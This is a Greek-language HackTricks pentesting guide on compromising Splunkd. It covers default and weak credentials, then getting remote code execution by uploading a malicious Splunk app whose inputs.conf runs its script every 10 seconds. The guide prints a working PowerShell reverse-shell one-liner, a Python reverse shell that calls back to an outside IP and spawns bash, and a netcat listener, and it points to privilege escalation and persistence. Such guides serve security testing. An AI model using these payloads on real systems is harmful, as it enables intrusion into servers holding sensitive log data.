14 KiB
8089 - Πεντεστάροντας το Splunkd
Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Βασικές Πληροφορίες
Το Splunk είναι ένα εργαλείο ανάλυσης καταγραφικών αρχείων που παίζει ένα κρίσιμο ρόλο στη συλλογή, ανάλυση και οπτικοποίηση δεδομένων. Αν και η αρχική του σκοπιμότητα δεν ήταν να λειτουργήσει ως εργαλείο SIEM (Security Information and Event Management), έχει κερδίσει δημοτικότητα στον τομέα της παρακολούθησης ασφάλειας και της ανάλυσης επιχειρηματικών δεδομένων.
Οι εγκαταστάσεις του Splunk χρησιμοποιούνται συχνά για να αποθηκεύουν ευαίσθητα δεδομένα και μπορούν να λειτουργήσουν ως πολύτιμη πηγή πληροφοριών για πιθανούς επιτιθέμενους αν καταφέρουν να παραβιάσουν το σύστημα. Προεπιλεγμένη θύρα: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} Ο διακομιστής web του Splunk τρέχει από προεπιλογή στη θύρα 8000. {% endhint %}
Απαρίθμηση
Δωρεάν Έκδοση
Η δοκιμαστική έκδοση του Splunk Enterprise μετατρέπεται σε δωρεάν έκδοση μετά από 60 ημέρες, η οποία δεν απαιτεί πιστοποίηση. Δεν είναι ασυνήθιστο για τους διαχειριστές συστήματος να εγκαταστήσουν μια δοκιμαστική έκδοση του Splunk για να το δοκιμάσουν, η οποία στη συνέχεια ξεχνιέται. Αυτό θα μετατραπεί αυτόματα στη δωρεάν έκδοση που δεν έχει καμία μορφή πιστοποίησης, δημιουργώντας ένα κενό ασφαλείας στο περιβάλλον. Ορισμένες οργανώσεις μπορεί να επιλέξουν τη δωρεάν έκδοση λόγω περιορισμένων προϋπολογιστικών περιορισμών, χωρίς να κατανοούν πλήρως τις επιπτώσεις της έλλειψης διαχείρισης χρηστών/ρόλων.
Προεπιλεγμένα Διαπιστευτήρια
Σε παλαιότερες εκδόσεις του Splunk, τα προεπιλεγμένα διαπιστευτήρια είναι admin:changeme
, τα οποία εμφανίζονται ευκολότερα στη σελίδα σύνδεσης.
Ωστόσο, η τελευταία έκδοση του Splunk ορίζει διαπιστευτήρια κατά τη διάρκεια της διαδικασίας εγκατάστασης. Εάν τα προεπιλεγμένα διαπιστευτήρια δεν λειτουργούν, αξίζει να ελέγξετε για κοινά αδύναμα συνθηματικά όπως admin
, Welcome
, Welcome1
, Password123
, κλπ.
Λήψη Πληροφοριών
Αφού συνδεθείτε στο Splunk, μπορούμε να περιηγηθούμε στα δεδομένα, να εκτελέσουμε αναφορές, να δημιουργήσουμε ταμπλό, να εγκαταστήσουμε εφαρμογές από τη βιβλιοθήκη Splunkbase και να εγκαταστήσουμε προσαρμοσμένες εφαρμογές.
Μπορείτε επίσης να εκτελέσετε κώδικα: Ο Splunk έχει πολλούς τρόπους εκτέλεσης κώδικα, όπως εφαρμογές Django πλευράς εξυπηρετητή, σημεία άκρης REST, σεναρίων εισαγωγής και σεναρίων ειδοποίησης. Ένας κοινός τρόπος απόκτησης απομακρυσμένης εκτέλεσης κώδικα σε έναν διακομιστή Splunk είναι μέσω της χρήσης ενός σεναρίου εισαγωγής.
Επιπλέον, καθώς το Splunk μπορεί να εγκατασταθεί σε κεντρικούς υπολογιστές Windows ή Linux, μπορούν να δημιουργηθούν σενάρια εισαγωγής για την εκτέλεση σεναρίων Bash, PowerShell ή Batch.
Shodan
Έκδοση Splunk
RCE
Δημιουργία Προσαρμοσμένης Εφαρμογής
Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελέσει Python, Batch, Bash ή PowerShell σενάρια.
Σημειώστε ότι το Splunk έρχεται με εγκατεστημένο Python, οπότε ακόμη και σε συστήματα Windows θα μπορείτε να εκτελέσετε κώδικα Python.
Μπορείτε να χρησιμοποιήσετε αυτό το πακέτο Splunk για να μας βοηθήσει. Ο κατάλογος bin
σε αυτό το αποθετήριο περιέχει παραδείγματα για Python και PowerShell. Ας περιηγηθούμε σε αυτό βήμα-βήμα.
Για να το επιτύχουμε αυτό, πρέπει πρώτα να δημιουργήσουμε μια προσαρμοσμένη εφαρμογή Splunk χρησιμοποιώντας την ακόλουθη δομή καταλόγου:
tree splunk_shell/
splunk_shell/
├── bin
└── default
Ο φάκελος bin
θα περιέχει οποιαδήποτε σενάρια πρόκειται να εκτελέσουμε (σε αυτήν την περίπτωση, ένας αντίστροφος κέλυφος PowerShell), και ο προεπιλεγμένος φάκελος θα έχει το αρχείο inputs.conf
μας. Το αντίστροφο κέλυφος μας θα είναι ένας PowerShell εντολή σε μία γραμμή:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
Το αρχείο inputs.conf λέει στο Splunk ποιο script να εκτελέσει και οποιεσδήποτε άλλες συνθήκες. Εδώ ορίζουμε την εφαρμογή ως ενεργοποιημένη και λέμε στο Splunk να εκτελεί το script κάθε 10 δευτερόλεπτα. Το διάστημα είναι πάντα σε δευτερόλεπτα και η είσοδος (script) θα εκτελεστεί μόνο αν αυτή η ρύθμιση είναι παρούσα.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Χρειαζόμαστε το αρχείο .bat
, το οποίο θα εκτελείται όταν εγκαθίσταται η εφαρμογή και θα εκτελεί την εντολή PowerShell.
Το επόμενο βήμα είναι να επιλέξουμε Εγκατάσταση εφαρμογής από αρχείο
και να ανεβάσουμε την εφαρμογή.
Πριν ανεβάσουμε την κακόβουλη προσαρμοσμένη εφαρμογή, ας ξεκινήσουμε έναν ακροατή χρησιμοποιώντας το Netcat ή το socat.
sudo nc -lnvp 443
listening on [any] 443 ...
Στη σελίδα Μεταφόρτωση εφαρμογής
, κάντε κλικ στο πλήκτρο Αναζήτηση
, επιλέξτε το tarball που δημιουργήσαμε προηγουμένως και κάντε κλικ στο Μεταφόρτωση
. Αμέσως μόλις μεταφορτώσουμε την εφαρμογή, λαμβάνουμε έναν αντίστροφο κέλυφος ως κατάσταση της εφαρμογής που αυτόματα αλλάζει σε Ενεργοποιημένη
.
Linux
Εάν είχαμε να κάνουμε με έναν Linux υπολογιστή, θα χρειαζόμασταν να επεξεργαστούμε το σενάριο Python rev.py
πριν δημιουργήσουμε το tarball και μεταφορτώσουμε την προσαρμοσμένη κακόβουλη εφαρμογή. Το υπόλοιπο της διαδικασίας θα ήταν το ίδιο, και θα λάμβαναμε μια σύνδεση αντίστροφου κελύφους στον ακροατή Netcat μας και θα ξεκινούσαμε.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Ανέβασμα Προνομίων
Στην ακόλουθη σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να αναβαθμιστούν τα προνόμια και να αποκτηθεί μόνιμη παρουσία:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Αναφορές
Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
- Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε The PEASS Family, τη συλλογή μας από αποκλειστικά NFTs
- Συμμετάσχετε στη 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.